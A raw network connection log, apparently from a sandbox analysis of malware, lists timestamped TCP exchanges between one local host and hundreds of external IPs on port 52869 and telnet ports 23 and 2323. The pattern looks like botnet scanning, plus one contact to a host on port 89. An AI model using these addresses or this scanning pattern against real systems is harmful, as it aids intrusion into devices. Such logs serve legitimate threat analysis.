Oct 6, 2024 20:00:44.489582062 CEST	52869	49160	156.79.32.11	192.168.2.15
Oct 6, 2024 20:00:44.489587069 CEST	49160	52869	192.168.2.15	41.8.233.71
Oct 6, 2024 20:00:44.489592075 CEST	52869	49160	197.196.108.9	192.168.2.15
Oct 6, 2024 20:00:44.489600897 CEST	52869	49160	197.104.236.18	192.168.2.15
Oct 6, 2024 20:00:44.489607096 CEST	49160	52869	192.168.2.15	156.203.57.172
Oct 6, 2024 20:00:44.489607096 CEST	49160	52869	192.168.2.15	156.79.32.11
Oct 6, 2024 20:00:44.489610910 CEST	52869	49160	41.29.252.39	192.168.2.15
Oct 6, 2024 20:00:44.489620924 CEST	52869	49160	41.21.163.213	192.168.2.15
Oct 6, 2024 20:00:44.489623070 CEST	49160	52869	192.168.2.15	197.196.108.9
Oct 6, 2024 20:00:44.489629030 CEST	49160	52869	192.168.2.15	197.104.236.18
Oct 6, 2024 20:00:44.489630938 CEST	52869	49160	156.121.102.48	192.168.2.15
Oct 6, 2024 20:00:44.489639997 CEST	49160	52869	192.168.2.15	41.29.252.39
Oct 6, 2024 20:00:44.489640951 CEST	52869	49160	156.135.133.206	192.168.2.15
Oct 6, 2024 20:00:44.489645004 CEST	49160	52869	192.168.2.15	41.21.163.213
Oct 6, 2024 20:00:44.489654064 CEST	52869	49160	197.218.118.61	192.168.2.15
Oct 6, 2024 20:00:44.489665985 CEST	49160	52869	192.168.2.15	156.121.102.48
Oct 6, 2024 20:00:44.489674091 CEST	49160	52869	192.168.2.15	156.135.133.206
Oct 6, 2024 20:00:44.489690065 CEST	49160	52869	192.168.2.15	197.218.118.61
Oct 6, 2024 20:00:44.490103006 CEST	52869	49160	156.10.0.100	192.168.2.15
Oct 6, 2024 20:00:44.490113974 CEST	52869	49160	197.59.148.206	192.168.2.15
Oct 6, 2024 20:00:44.490130901 CEST	52869	49160	197.126.27.231	192.168.2.15
Oct 6, 2024 20:00:44.490139961 CEST	49160	52869	192.168.2.15	156.10.0.100
Oct 6, 2024 20:00:44.490139961 CEST	52869	49160	197.177.84.199	192.168.2.15
Oct 6, 2024 20:00:44.490150928 CEST	52869	49160	197.155.113.135	192.168.2.15
Oct 6, 2024 20:00:44.490155935 CEST	49160	52869	192.168.2.15	197.59.148.206
Oct 6, 2024 20:00:44.490169048 CEST	49160	52869	192.168.2.15	197.126.27.231
Oct 6, 2024 20:00:44.490170956 CEST	49160	52869	192.168.2.15	197.177.84.199
Oct 6, 2024 20:00:44.490175962 CEST	49160	52869	192.168.2.15	197.155.113.135
Oct 6, 2024 20:00:44.490186930 CEST	52869	49160	41.228.55.251	192.168.2.15
Oct 6, 2024 20:00:44.490199089 CEST	52869	49160	197.109.187.45	192.168.2.15
Oct 6, 2024 20:00:44.490207911 CEST	52869	49160	41.32.233.53	192.168.2.15
Oct 6, 2024 20:00:44.490216970 CEST	52869	49160	156.159.83.36	192.168.2.15
Oct 6, 2024 20:00:44.490225077 CEST	49160	52869	192.168.2.15	41.228.55.251
Oct 6, 2024 20:00:44.490225077 CEST	49160	52869	192.168.2.15	197.109.187.45
Oct 6, 2024 20:00:44.490226984 CEST	52869	49160	197.77.127.101	192.168.2.15
Oct 6, 2024 20:00:44.490236998 CEST	52869	49160	197.85.205.5	192.168.2.15
Oct 6, 2024 20:00:44.490237951 CEST	49160	52869	192.168.2.15	41.32.233.53
Oct 6, 2024 20:00:44.490247965 CEST	49160	52869	192.168.2.15	156.159.83.36
Oct 6, 2024 20:00:44.490253925 CEST	52869	49160	197.253.224.211	192.168.2.15
Oct 6, 2024 20:00:44.490263939 CEST	52869	49160	156.168.114.112	192.168.2.15
Oct 6, 2024 20:00:44.490266085 CEST	49160	52869	192.168.2.15	197.77.127.101
Oct 6, 2024 20:00:44.490266085 CEST	49160	52869	192.168.2.15	197.85.205.5
Oct 6, 2024 20:00:44.490288019 CEST	52869	49160	197.63.54.18	192.168.2.15
Oct 6, 2024 20:00:44.490289927 CEST	49160	52869	192.168.2.15	156.168.114.112
Oct 6, 2024 20:00:44.490291119 CEST	49160	52869	192.168.2.15	197.253.224.211
Oct 6, 2024 20:00:44.490298986 CEST	52869	49160	41.186.47.165	192.168.2.15
Oct 6, 2024 20:00:44.490308046 CEST	52869	49160	41.14.170.201	192.168.2.15
Oct 6, 2024 20:00:44.490317106 CEST	52869	49160	197.239.132.38	192.168.2.15
Oct 6, 2024 20:00:44.490323067 CEST	49160	52869	192.168.2.15	41.186.47.165
Oct 6, 2024 20:00:44.490326881 CEST	52869	49160	41.67.114.133	192.168.2.15
Oct 6, 2024 20:00:44.490328074 CEST	49160	52869	192.168.2.15	197.63.54.18
Oct 6, 2024 20:00:44.490328074 CEST	49160	52869	192.168.2.15	41.14.170.201
Oct 6, 2024 20:00:44.490338087 CEST	52869	49160	41.107.203.68	192.168.2.15
Oct 6, 2024 20:00:44.490348101 CEST	52869	49160	41.90.125.11	192.168.2.15
Oct 6, 2024 20:00:44.490359068 CEST	49160	52869	192.168.2.15	197.239.132.38
Oct 6, 2024 20:00:44.490362883 CEST	52869	49160	41.180.43.227	192.168.2.15
Oct 6, 2024 20:00:44.490364075 CEST	49160	52869	192.168.2.15	41.107.203.68
Oct 6, 2024 20:00:44.490374088 CEST	52869	49160	197.178.136.135	192.168.2.15
Oct 6, 2024 20:00:44.490375042 CEST	49160	52869	192.168.2.15	41.67.114.133
Oct 6, 2024 20:00:44.490375996 CEST	49160	52869	192.168.2.15	41.90.125.11
Oct 6, 2024 20:00:44.490392923 CEST	52869	49160	197.68.4.136	192.168.2.15
Oct 6, 2024 20:00:44.490402937 CEST	52869	49160	41.196.68.56	192.168.2.15
Oct 6, 2024 20:00:44.490406036 CEST	49160	52869	192.168.2.15	197.178.136.135
Oct 6, 2024 20:00:44.490411997 CEST	52869	49160	197.92.29.9	192.168.2.15
Oct 6, 2024 20:00:44.490427971 CEST	52869	49160	41.198.200.207	192.168.2.15
Oct 6, 2024 20:00:44.490428925 CEST	49160	52869	192.168.2.15	197.68.4.136
Oct 6, 2024 20:00:44.490432024 CEST	49160	52869	192.168.2.15	41.196.68.56
Oct 6, 2024 20:00:44.490437984 CEST	52869	49160	197.88.6.138	192.168.2.15
Oct 6, 2024 20:00:44.490442038 CEST	49160	52869	192.168.2.15	197.92.29.9
Oct 6, 2024 20:00:44.490447044 CEST	52869	49160	156.103.165.75	192.168.2.15
Oct 6, 2024 20:00:44.490448952 CEST	49160	52869	192.168.2.15	41.180.43.227
Oct 6, 2024 20:00:44.490456104 CEST	49160	52869	192.168.2.15	41.198.200.207
Oct 6, 2024 20:00:44.490464926 CEST	49160	52869	192.168.2.15	197.88.6.138
Oct 6, 2024 20:00:44.490479946 CEST	49160	52869	192.168.2.15	156.103.165.75
Oct 6, 2024 20:00:44.490868092 CEST	52869	49160	41.63.50.171	192.168.2.15
Oct 6, 2024 20:00:44.490878105 CEST	52869	49160	197.242.89.56	192.168.2.15
Oct 6, 2024 20:00:44.490906000 CEST	49160	52869	192.168.2.15	41.63.50.171
Oct 6, 2024 20:00:44.490907907 CEST	52869	49160	156.246.204.48	192.168.2.15
Oct 6, 2024 20:00:44.490914106 CEST	49160	52869	192.168.2.15	197.242.89.56
Oct 6, 2024 20:00:44.490920067 CEST	52869	49160	156.215.80.128	192.168.2.15
Oct 6, 2024 20:00:44.490930080 CEST	52869	49160	156.59.9.255	192.168.2.15
Oct 6, 2024 20:00:44.490938902 CEST	52869	49160	156.161.229.78	192.168.2.15
Oct 6, 2024 20:00:44.490947962 CEST	52869	49160	41.151.88.181	192.168.2.15
Oct 6, 2024 20:00:44.490947008 CEST	49160	52869	192.168.2.15	156.246.204.48
Oct 6, 2024 20:00:44.490952015 CEST	49160	52869	192.168.2.15	156.215.80.128
Oct 6, 2024 20:00:44.490963936 CEST	52869	49160	156.245.157.42	192.168.2.15
Oct 6, 2024 20:00:44.490964890 CEST	49160	52869	192.168.2.15	156.59.9.255
Oct 6, 2024 20:00:44.490969896 CEST	49160	52869	192.168.2.15	156.161.229.78
Oct 6, 2024 20:00:44.490972042 CEST	49160	52869	192.168.2.15	41.151.88.181
Oct 6, 2024 20:00:44.490974903 CEST	52869	49160	41.215.3.149	192.168.2.15
Oct 6, 2024 20:00:44.490984917 CEST	52869	49160	197.107.205.146	192.168.2.15
Oct 6, 2024 20:00:44.490993977 CEST	52869	49160	41.105.124.82	192.168.2.15
Oct 6, 2024 20:00:44.491000891 CEST	49160	52869	192.168.2.15	156.245.157.42
Oct 6, 2024 20:00:44.491000891 CEST	49160	52869	192.168.2.15	41.215.3.149
Oct 6, 2024 20:00:44.491003036 CEST	52869	49160	156.114.157.172	192.168.2.15
Oct 6, 2024 20:00:44.491010904 CEST	49160	52869	192.168.2.15	197.107.205.146
Oct 6, 2024 20:00:44.491014004 CEST	52869	49160	41.17.92.86	192.168.2.15
Oct 6, 2024 20:00:44.491024017 CEST	52869	49160	41.232.82.251	192.168.2.15
Oct 6, 2024 20:00:44.491029024 CEST	49160	52869	192.168.2.15	41.105.124.82
Oct 6, 2024 20:00:44.491033077 CEST	52869	49160	197.184.229.117	192.168.2.15
Oct 6, 2024 20:00:44.491043091 CEST	52869	49160	156.110.235.230	192.168.2.15
Oct 6, 2024 20:00:44.491044998 CEST	49160	52869	192.168.2.15	41.17.92.86
Oct 6, 2024 20:00:44.491046906 CEST	49160	52869	192.168.2.15	156.114.157.172
Oct 6, 2024 20:00:44.491059065 CEST	52869	49160	41.253.64.103	192.168.2.15
Oct 6, 2024 20:00:44.491060972 CEST	49160	52869	192.168.2.15	41.232.82.251
Oct 6, 2024 20:00:44.491066933 CEST	49160	52869	192.168.2.15	197.184.229.117
Oct 6, 2024 20:00:44.491069078 CEST	52869	49160	197.190.162.245	192.168.2.15
Oct 6, 2024 20:00:44.491079092 CEST	52869	49160	156.117.185.93	192.168.2.15
Oct 6, 2024 20:00:44.491080999 CEST	49160	52869	192.168.2.15	156.110.235.230
Oct 6, 2024 20:00:44.491086960 CEST	49160	52869	192.168.2.15	41.253.64.103
Oct 6, 2024 20:00:44.491089106 CEST	52869	49160	41.165.246.195	192.168.2.15
Oct 6, 2024 20:00:44.491101980 CEST	52869	49160	197.41.206.235	192.168.2.15
Oct 6, 2024 20:00:44.491101980 CEST	49160	52869	192.168.2.15	197.190.162.245
Oct 6, 2024 20:00:44.491110086 CEST	52869	49160	41.5.32.158	192.168.2.15
Oct 6, 2024 20:00:44.491111040 CEST	49160	52869	192.168.2.15	156.117.185.93
Oct 6, 2024 20:00:44.491120100 CEST	52869	49160	156.187.84.64	192.168.2.15
Oct 6, 2024 20:00:44.491125107 CEST	49160	52869	192.168.2.15	41.165.246.195
Oct 6, 2024 20:00:44.491127968 CEST	49160	52869	192.168.2.15	197.41.206.235
Oct 6, 2024 20:00:44.491130114 CEST	52869	49160	156.14.68.108	192.168.2.15
Oct 6, 2024 20:00:44.491139889 CEST	52869	49160	197.103.200.0	192.168.2.15
Oct 6, 2024 20:00:44.491141081 CEST	49160	52869	192.168.2.15	41.5.32.158
Oct 6, 2024 20:00:44.491151094 CEST	52869	49160	156.116.140.85	192.168.2.15
Oct 6, 2024 20:00:44.491161108 CEST	52869	49160	197.74.172.170	192.168.2.15
Oct 6, 2024 20:00:44.491161108 CEST	49160	52869	192.168.2.15	156.187.84.64
Oct 6, 2024 20:00:44.491168976 CEST	49160	52869	192.168.2.15	156.14.68.108
Oct 6, 2024 20:00:44.491170883 CEST	52869	49160	197.108.1.54	192.168.2.15
Oct 6, 2024 20:00:44.491170883 CEST	49160	52869	192.168.2.15	197.103.200.0
Oct 6, 2024 20:00:44.491183043 CEST	49160	52869	192.168.2.15	156.116.140.85
Oct 6, 2024 20:00:44.491199970 CEST	49160	52869	192.168.2.15	197.108.1.54
Oct 6, 2024 20:00:44.491199970 CEST	49160	52869	192.168.2.15	197.74.172.170
Oct 6, 2024 20:00:44.491321087 CEST	45652	89	192.168.2.15	104.248.167.251
Oct 6, 2024 20:00:44.491451979 CEST	52869	49160	197.70.117.87	192.168.2.15
Oct 6, 2024 20:00:44.491493940 CEST	49160	52869	192.168.2.15	197.70.117.87
Oct 6, 2024 20:00:44.491533995 CEST	52869	49160	197.142.237.32	192.168.2.15
Oct 6, 2024 20:00:44.491545916 CEST	52869	49160	197.243.53.202	192.168.2.15
Oct 6, 2024 20:00:44.491554976 CEST	52869	49160	156.243.25.96	192.168.2.15
Oct 6, 2024 20:00:44.491564035 CEST	52869	49160	41.53.206.149	192.168.2.15
Oct 6, 2024 20:00:44.491573095 CEST	49160	52869	192.168.2.15	197.142.237.32
Oct 6, 2024 20:00:44.491575003 CEST	49160	52869	192.168.2.15	197.243.53.202
Oct 6, 2024 20:00:44.491574049 CEST	52869	49160	156.234.199.135	192.168.2.15
Oct 6, 2024 20:00:44.491588116 CEST	52869	49160	156.45.218.116	192.168.2.15
Oct 6, 2024 20:00:44.491588116 CEST	49160	52869	192.168.2.15	156.243.25.96
Oct 6, 2024 20:00:44.491590023 CEST	49160	52869	192.168.2.15	41.53.206.149
Oct 6, 2024 20:00:44.491605997 CEST	52869	49160	156.129.3.186	192.168.2.15
Oct 6, 2024 20:00:44.491615057 CEST	49160	52869	192.168.2.15	156.234.199.135
Oct 6, 2024 20:00:44.491616011 CEST	52869	49160	156.166.171.183	192.168.2.15
Oct 6, 2024 20:00:44.491616011 CEST	49160	52869	192.168.2.15	156.45.218.116
Oct 6, 2024 20:00:44.491625071 CEST	52869	49160	197.58.224.127	192.168.2.15
Oct 6, 2024 20:00:44.491633892 CEST	52869	49160	156.53.105.232	192.168.2.15
Oct 6, 2024 20:00:44.491641998 CEST	49160	52869	192.168.2.15	156.129.3.186
Oct 6, 2024 20:00:44.491641998 CEST	52869	49160	41.40.240.173	192.168.2.15
Oct 6, 2024 20:00:44.491658926 CEST	52869	49160	197.207.199.16	192.168.2.15
Oct 6, 2024 20:00:44.491661072 CEST	49160	52869	192.168.2.15	156.166.171.183
Oct 6, 2024 20:00:44.491661072 CEST	49160	52869	192.168.2.15	197.58.224.127
Oct 6, 2024 20:00:44.491666079 CEST	49160	52869	192.168.2.15	156.53.105.232
Oct 6, 2024 20:00:44.491668940 CEST	52869	49160	156.59.22.89	192.168.2.15
Oct 6, 2024 20:00:44.491677046 CEST	49160	52869	192.168.2.15	41.40.240.173
Oct 6, 2024 20:00:44.491678953 CEST	52869	49160	41.231.133.233	192.168.2.15
Oct 6, 2024 20:00:44.491688013 CEST	49160	52869	192.168.2.15	197.207.199.16
Oct 6, 2024 20:00:44.491695881 CEST	49160	52869	192.168.2.15	156.59.22.89
Oct 6, 2024 20:00:44.491705894 CEST	49160	52869	192.168.2.15	41.231.133.233
Oct 6, 2024 20:00:44.491966963 CEST	52869	49160	156.71.109.45	192.168.2.15
Oct 6, 2024 20:00:44.492003918 CEST	49160	52869	192.168.2.15	156.71.109.45
Oct 6, 2024 20:00:44.492034912 CEST	52869	49160	197.110.108.128	192.168.2.15
Oct 6, 2024 20:00:44.492044926 CEST	52869	49160	197.53.235.21	192.168.2.15
Oct 6, 2024 20:00:44.492053986 CEST	52869	49160	197.41.46.225	192.168.2.15
Oct 6, 2024 20:00:44.492063046 CEST	52869	49160	41.166.221.21	192.168.2.15
Oct 6, 2024 20:00:44.492069960 CEST	49160	52869	192.168.2.15	197.110.108.128
Oct 6, 2024 20:00:44.492072105 CEST	52869	49160	156.145.44.221	192.168.2.15
Oct 6, 2024 20:00:44.492080927 CEST	49160	52869	192.168.2.15	197.53.235.21
Oct 6, 2024 20:00:44.492083073 CEST	52869	49160	197.205.171.2	192.168.2.15
Oct 6, 2024 20:00:44.492093086 CEST	52869	49160	41.188.222.126	192.168.2.15
Oct 6, 2024 20:00:44.492094040 CEST	49160	52869	192.168.2.15	41.166.221.21
Oct 6, 2024 20:00:44.492100954 CEST	49160	52869	192.168.2.15	197.41.46.225
Oct 6, 2024 20:00:44.492103100 CEST	52869	49160	197.212.200.193	192.168.2.15
Oct 6, 2024 20:00:44.492105961 CEST	49160	52869	192.168.2.15	156.145.44.221
Oct 6, 2024 20:00:44.492117882 CEST	49160	52869	192.168.2.15	197.205.171.2
Oct 6, 2024 20:00:44.492125988 CEST	52869	49160	41.103.87.249	192.168.2.15
Oct 6, 2024 20:00:44.492125988 CEST	49160	52869	192.168.2.15	41.188.222.126
Oct 6, 2024 20:00:44.492135048 CEST	52869	49160	197.103.144.254	192.168.2.15
Oct 6, 2024 20:00:44.492137909 CEST	49160	52869	192.168.2.15	197.212.200.193
Oct 6, 2024 20:00:44.492144108 CEST	52869	49160	41.46.3.254	192.168.2.15
Oct 6, 2024 20:00:44.492153883 CEST	52869	49160	41.109.38.200	192.168.2.15
Oct 6, 2024 20:00:44.492156982 CEST	49160	52869	192.168.2.15	41.103.87.249
Oct 6, 2024 20:00:44.492161989 CEST	49160	52869	192.168.2.15	197.103.144.254
Oct 6, 2024 20:00:44.492162943 CEST	52869	49160	156.139.93.35	192.168.2.15
Oct 6, 2024 20:00:44.492172003 CEST	52869	49160	156.227.186.153	192.168.2.15
Oct 6, 2024 20:00:44.492182016 CEST	52869	49160	197.44.51.246	192.168.2.15
Oct 6, 2024 20:00:44.492182016 CEST	49160	52869	192.168.2.15	41.46.3.254
Oct 6, 2024 20:00:44.492182970 CEST	49160	52869	192.168.2.15	156.139.93.35
Oct 6, 2024 20:00:44.492183924 CEST	49160	52869	192.168.2.15	41.109.38.200
Oct 6, 2024 20:00:44.492191076 CEST	52869	49160	156.27.66.80	192.168.2.15
Oct 6, 2024 20:00:44.492194891 CEST	52869	49160	41.141.95.236	192.168.2.15
Oct 6, 2024 20:00:44.492203951 CEST	52869	49160	156.8.222.125	192.168.2.15
Oct 6, 2024 20:00:44.492207050 CEST	49160	52869	192.168.2.15	156.227.186.153
Oct 6, 2024 20:00:44.492209911 CEST	49160	52869	192.168.2.15	156.27.66.80
Oct 6, 2024 20:00:44.492221117 CEST	49160	52869	192.168.2.15	197.44.51.246
Oct 6, 2024 20:00:44.492225885 CEST	49160	52869	192.168.2.15	41.141.95.236
Oct 6, 2024 20:00:44.492225885 CEST	49160	52869	192.168.2.15	156.8.222.125
Oct 6, 2024 20:00:44.492551088 CEST	52869	49160	156.57.122.170	192.168.2.15
Oct 6, 2024 20:00:44.492563009 CEST	52869	49160	156.193.21.35	192.168.2.15
Oct 6, 2024 20:00:44.492572069 CEST	52869	49160	156.186.65.15	192.168.2.15
Oct 6, 2024 20:00:44.492580891 CEST	52869	49160	156.83.165.21	192.168.2.15
Oct 6, 2024 20:00:44.492585897 CEST	49160	52869	192.168.2.15	156.57.122.170
Oct 6, 2024 20:00:44.492589951 CEST	52869	49160	156.152.104.157	192.168.2.15
Oct 6, 2024 20:00:44.492599010 CEST	52869	49160	41.84.204.133	192.168.2.15
Oct 6, 2024 20:00:44.492599010 CEST	49160	52869	192.168.2.15	156.193.21.35
Oct 6, 2024 20:00:44.492607117 CEST	49160	52869	192.168.2.15	156.186.65.15
Oct 6, 2024 20:00:44.492609978 CEST	52869	49160	41.16.232.151	192.168.2.15
Oct 6, 2024 20:00:44.492614031 CEST	49160	52869	192.168.2.15	156.83.165.21
Oct 6, 2024 20:00:44.492614985 CEST	49160	52869	192.168.2.15	156.152.104.157
Oct 6, 2024 20:00:44.492626905 CEST	52869	49160	197.11.92.7	192.168.2.15
Oct 6, 2024 20:00:44.492630005 CEST	49160	52869	192.168.2.15	41.84.204.133
Oct 6, 2024 20:00:44.492631912 CEST	49160	52869	192.168.2.15	41.16.232.151
Oct 6, 2024 20:00:44.492636919 CEST	52869	49160	156.52.146.188	192.168.2.15
Oct 6, 2024 20:00:44.492646933 CEST	52869	49160	156.48.178.247	192.168.2.15
Oct 6, 2024 20:00:44.492655993 CEST	52869	49160	156.161.192.170	192.168.2.15
Oct 6, 2024 20:00:44.492662907 CEST	49160	52869	192.168.2.15	156.52.146.188
Oct 6, 2024 20:00:44.492664099 CEST	52869	49160	156.104.128.97	192.168.2.15
Oct 6, 2024 20:00:44.492664099 CEST	49160	52869	192.168.2.15	197.11.92.7
Oct 6, 2024 20:00:44.492674112 CEST	52869	49160	41.37.224.143	192.168.2.15
Oct 6, 2024 20:00:44.492674112 CEST	49160	52869	192.168.2.15	156.48.178.247
Oct 6, 2024 20:00:44.492682934 CEST	52869	49160	156.209.143.145	192.168.2.15
Oct 6, 2024 20:00:44.492691994 CEST	52869	49160	197.185.185.223	192.168.2.15
Oct 6, 2024 20:00:44.492696047 CEST	49160	52869	192.168.2.15	156.161.192.170
Oct 6, 2024 20:00:44.492702007 CEST	52869	49160	41.25.249.208	192.168.2.15
Oct 6, 2024 20:00:44.492702961 CEST	49160	52869	192.168.2.15	156.104.128.97
Oct 6, 2024 20:00:44.492707968 CEST	49160	52869	192.168.2.15	41.37.224.143
Oct 6, 2024 20:00:44.492712975 CEST	52869	49160	41.117.156.225	192.168.2.15
Oct 6, 2024 20:00:44.492712975 CEST	49160	52869	192.168.2.15	156.209.143.145
Oct 6, 2024 20:00:44.492717028 CEST	49160	52869	192.168.2.15	197.185.185.223
Oct 6, 2024 20:00:44.492733002 CEST	49160	52869	192.168.2.15	41.25.249.208
Oct 6, 2024 20:00:44.492753029 CEST	49160	52869	192.168.2.15	41.117.156.225
Oct 6, 2024 20:00:44.492832899 CEST	52869	49160	156.125.90.117	192.168.2.15
Oct 6, 2024 20:00:44.492872953 CEST	49160	52869	192.168.2.15	156.125.90.117
Oct 6, 2024 20:00:44.493391991 CEST	2323	50952	48.143.191.136	192.168.2.15
Oct 6, 2024 20:00:44.493432045 CEST	50952	2323	192.168.2.15	48.143.191.136
Oct 6, 2024 20:00:44.493444920 CEST	23	50952	115.207.14.113	192.168.2.15
Oct 6, 2024 20:00:44.493454933 CEST	23	50952	217.6.241.113	192.168.2.15
Oct 6, 2024 20:00:44.493464947 CEST	23	50952	45.79.249.112	192.168.2.15
Oct 6, 2024 20:00:44.493474960 CEST	50952	23	192.168.2.15	115.207.14.113
Oct 6, 2024 20:00:44.493482113 CEST	50952	23	192.168.2.15	217.6.241.113
Oct 6, 2024 20:00:44.493483067 CEST	23	50952	186.34.221.108	192.168.2.15
Oct 6, 2024 20:00:44.493494034 CEST	23	50952	151.50.248.118	192.168.2.15
Oct 6, 2024 20:00:44.493496895 CEST	50952	23	192.168.2.15	45.79.249.112
Oct 6, 2024 20:00:44.493504047 CEST	23	50952	37.133.72.164	192.168.2.15
Oct 6, 2024 20:00:44.493515015 CEST	50952	23	192.168.2.15	186.34.221.108
Oct 6, 2024 20:00:44.493519068 CEST	23	50952	118.216.220.43	192.168.2.15
Oct 6, 2024 20:00:44.493521929 CEST	50952	23	192.168.2.15	151.50.248.118
Oct 6, 2024 20:00:44.493529081 CEST	23	50952	13.147.78.53	192.168.2.15
Oct 6, 2024 20:00:44.493539095 CEST	23	50952	164.9.12.154	192.168.2.15
Oct 6, 2024 20:00:44.493540049 CEST	50952	23	192.168.2.15	37.133.72.164
Oct 6, 2024 20:00:44.493550062 CEST	50952	23	192.168.2.15	118.216.220.43
Oct 6, 2024 20:00:44.493556976 CEST	50952	23	192.168.2.15	13.147.78.53
Oct 6, 2024 20:00:44.493572950 CEST	50952	23	192.168.2.15	164.9.12.154
Oct 6, 2024 20:00:44.494050980 CEST	2323	50952	200.214.112.87	192.168.2.15
Oct 6, 2024 20:00:44.494086981 CEST	50952	2323	192.168.2.15	200.214.112.87
Oct 6, 2024 20:00:44.494112015 CEST	23	50952	63.6.93.178	192.168.2.15
Oct 6, 2024 20:00:44.494122028 CEST	23	50952	74.146.75.74	192.168.2.15
Oct 6, 2024 20:00:44.494131088 CEST	23	50952	70.195.221.107	192.168.2.15
Oct 6, 2024 20:00:44.494139910 CEST	23	50952	45.41.184.0	192.168.2.15
Oct 6, 2024 20:00:44.494148016 CEST	50952	23	192.168.2.15	63.6.93.178
Oct 6, 2024 20:00:44.494148970 CEST	23	50952	194.193.199.238	192.168.2.15
Oct 6, 2024 20:00:44.494154930 CEST	50952	23	192.168.2.15	74.146.75.74
Oct 6, 2024 20:00:44.494163036 CEST	23	50952	70.248.172.128	192.168.2.15
Oct 6, 2024 20:00:44.494168043 CEST	50952	23	192.168.2.15	70.195.221.107
Oct 6, 2024 20:00:44.494170904 CEST	50952	23	192.168.2.15	45.41.184.0
Oct 6, 2024 20:00:44.494204044 CEST	50952	23	192.168.2.15	194.193.199.238
Oct 6, 2024 20:00:44.494208097 CEST	50952	23	192.168.2.15	70.248.172.128
Oct 6, 2024 20:00:44.494231939 CEST	23	50952	145.172.167.226	192.168.2.15
Oct 6, 2024 20:00:44.494241953 CEST	23	50952	18.109.180.20	192.168.2.15
Oct 6, 2024 20:00:44.494251966 CEST	23	50952	142.10.210.12	192.168.2.15
Oct 6, 2024 20:00:44.494261026 CEST	23	50952	212.54.19.50	192.168.2.15
Oct 6, 2024 20:00:44.494266033 CEST	23	50952	141.124.156.84	192.168.2.15
Oct 6, 2024 20:00:44.494266987 CEST	50952	23	192.168.2.15	18.109.180.20
Oct 6, 2024 20:00:44.494267941 CEST	50952	23	192.168.2.15	145.172.167.226
Oct 6, 2024 20:00:44.494273901 CEST	2323	50952	44.156.92.16	192.168.2.15
Oct 6, 2024 20:00:44.494287968 CEST	50952	23	192.168.2.15	142.10.210.12
Oct 6, 2024 20:00:44.494291067 CEST	23	50952	27.242.125.64	192.168.2.15
Oct 6, 2024 20:00:44.494292974 CEST	50952	23	192.168.2.15	212.54.19.50
Oct 6, 2024 20:00:44.494301081 CEST	23	50952	194.220.175.135	192.168.2.15
Oct 6, 2024 20:00:44.494304895 CEST	50952	23	192.168.2.15	141.124.156.84
Oct 6, 2024 20:00:44.494307995 CEST	50952	2323	192.168.2.15	44.156.92.16
Oct 6, 2024 20:00:44.494309902 CEST	23	50952	105.76.7.232	192.168.2.15
Oct 6, 2024 20:00:44.494321108 CEST	23	50952	196.198.87.112	192.168.2.15
Oct 6, 2024 20:00:44.494327068 CEST	50952	23	192.168.2.15	27.242.125.64
Oct 6, 2024 20:00:44.494330883 CEST	23	50952	125.21.177.151	192.168.2.15
Oct 6, 2024 20:00:44.494335890 CEST	50952	23	192.168.2.15	194.220.175.135
Oct 6, 2024 20:00:44.494335890 CEST	50952	23	192.168.2.15	105.76.7.232
Oct 6, 2024 20:00:44.494349003 CEST	23	50952	183.75.34.59	192.168.2.15
Oct 6, 2024 20:00:44.494358063 CEST	50952	23	192.168.2.15	196.198.87.112
Oct 6, 2024 20:00:44.494359016 CEST	23	50952	37.28.73.148	192.168.2.15
Oct 6, 2024 20:00:44.494359016 CEST	50952	23	192.168.2.15	125.21.177.151
Oct 6, 2024 20:00:44.494369030 CEST	2323	50952	86.53.56.229	192.168.2.15
Oct 6, 2024 20:00:44.494374037 CEST	50952	23	192.168.2.15	183.75.34.59
Oct 6, 2024 20:00:44.494379044 CEST	23	50952	42.40.135.32	192.168.2.15
Oct 6, 2024 20:00:44.494388103 CEST	23	50952	60.154.18.81	192.168.2.15
Oct 6, 2024 20:00:44.494389057 CEST	50952	23	192.168.2.15	37.28.73.148
Oct 6, 2024 20:00:44.494396925 CEST	23	50952	197.213.82.88	192.168.2.15
Oct 6, 2024 20:00:44.494410992 CEST	50952	23	192.168.2.15	42.40.135.32
Oct 6, 2024 20:00:44.494411945 CEST	50952	2323	192.168.2.15	86.53.56.229
Oct 6, 2024 20:00:44.494414091 CEST	23	50952	73.133.242.197	192.168.2.15
Oct 6, 2024 20:00:44.494417906 CEST	50952	23	192.168.2.15	60.154.18.81
Oct 6, 2024 20:00:44.494424105 CEST	23	50952	69.96.7.181	192.168.2.15
Oct 6, 2024 20:00:44.494425058 CEST	50952	23	192.168.2.15	197.213.82.88
Oct 6, 2024 20:00:44.494431973 CEST	23	50952	20.37.253.235	192.168.2.15
Oct 6, 2024 20:00:44.494436026 CEST	23	50952	100.195.124.214	192.168.2.15
Oct 6, 2024 20:00:44.494452953 CEST	50952	23	192.168.2.15	73.133.242.197
Oct 6, 2024 20:00:44.494456053 CEST	50952	23	192.168.2.15	20.37.253.235
Oct 6, 2024 20:00:44.494458914 CEST	50952	23	192.168.2.15	69.96.7.181
Oct 6, 2024 20:00:44.494463921 CEST	50952	23	192.168.2.15	100.195.124.214
Oct 6, 2024 20:00:44.494755983 CEST	23	50952	74.87.37.242	192.168.2.15
Oct 6, 2024 20:00:44.494765997 CEST	23	50952	66.168.151.110	192.168.2.15
Oct 6, 2024 20:00:44.494775057 CEST	23	50952	93.98.245.47	192.168.2.15
Oct 6, 2024 20:00:44.494796991 CEST	50952	23	192.168.2.15	66.168.151.110
Oct 6, 2024 20:00:44.494796038 CEST	50952	23	192.168.2.15	74.87.37.242
Oct 6, 2024 20:00:44.494808912 CEST	50952	23	192.168.2.15	93.98.245.47
Oct 6, 2024 20:00:44.494810104 CEST	23	50952	96.216.206.239	192.168.2.15
Oct 6, 2024 20:00:44.494821072 CEST	23	50952	207.228.59.145	192.168.2.15
Oct 6, 2024 20:00:44.494829893 CEST	23	50952	211.133.181.253	192.168.2.15
Oct 6, 2024 20:00:44.494838953 CEST	23	50952	177.218.64.29	192.168.2.15
Oct 6, 2024 20:00:44.494848967 CEST	23	50952	222.205.246.61	192.168.2.15
Oct 6, 2024 20:00:44.494849920 CEST	50952	23	192.168.2.15	207.228.59.145
Oct 6, 2024 20:00:44.494852066 CEST	50952	23	192.168.2.15	96.216.206.239
Oct 6, 2024 20:00:44.494858027 CEST	2323	50952	38.177.98.49	192.168.2.15
Oct 6, 2024 20:00:44.494868040 CEST	23	50952	196.106.7.24	192.168.2.15
Oct 6, 2024 20:00:44.494868994 CEST	50952	23	192.168.2.15	211.133.181.253
